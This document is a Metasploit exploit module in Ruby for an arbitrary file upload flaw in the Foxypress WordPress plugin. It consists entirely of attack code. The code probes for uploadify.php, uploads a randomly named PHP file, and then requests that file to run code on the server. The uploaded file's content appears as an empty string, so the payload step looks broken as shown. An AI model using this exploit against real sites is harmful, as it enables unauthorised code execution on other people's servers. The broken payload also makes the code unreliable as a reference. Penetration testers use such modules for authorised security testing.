## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info( info, 'Name' => 'WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution', 'Description' => %q( This module exploits an arbitrary PHP code execution flaw in the WordPress blogging software plugin known as Foxypress. The vulnerability allows for arbitrary file upload and remote code execution via the uploadify.php script. The Foxypress plug-in versions 0.4.1.1 to 0.4.2.1 are vulnerable. ), 'Author' => [ 'Sammy FORGIT', # Vulnerability Discovery, PoC 'patrick' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['EDB', '18991'], ['OSVDB' '82652'], ['BID', '53805'], ['WPVDB', '6231'] ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Foxypress 0.4.1.1 - 0.4.2.1', {}]], 'DisclosureDate' => 'Jun 05 2012', 'DefaultTarget' => 0)) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php') ) return Exploit::CheckCode::Detected if res && res.code == 200 Exploit::CheckCode::Safe end def exploit post_data = Rex::MIME::Message.new post_data.add_part("", 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"") print_status("#{peer} - Sending PHP payload") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php'), 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => post_data.to_s ) if res.nil? || res.code != 200 || res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/ print_error("#{peer} - File wasn't uploaded, aborting!") return end filename = "#{Regexp.last_match[1]}.php" print_good("#{peer} - Our payload is at: #{filename}. Calling payload...") register_files_for_cleanup(filename) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(wordpress_url_wp_content, 'affiliate_images', filename) ) print_error("#{peer} - Server returned #{res.code}") if res && res.code != 200 end end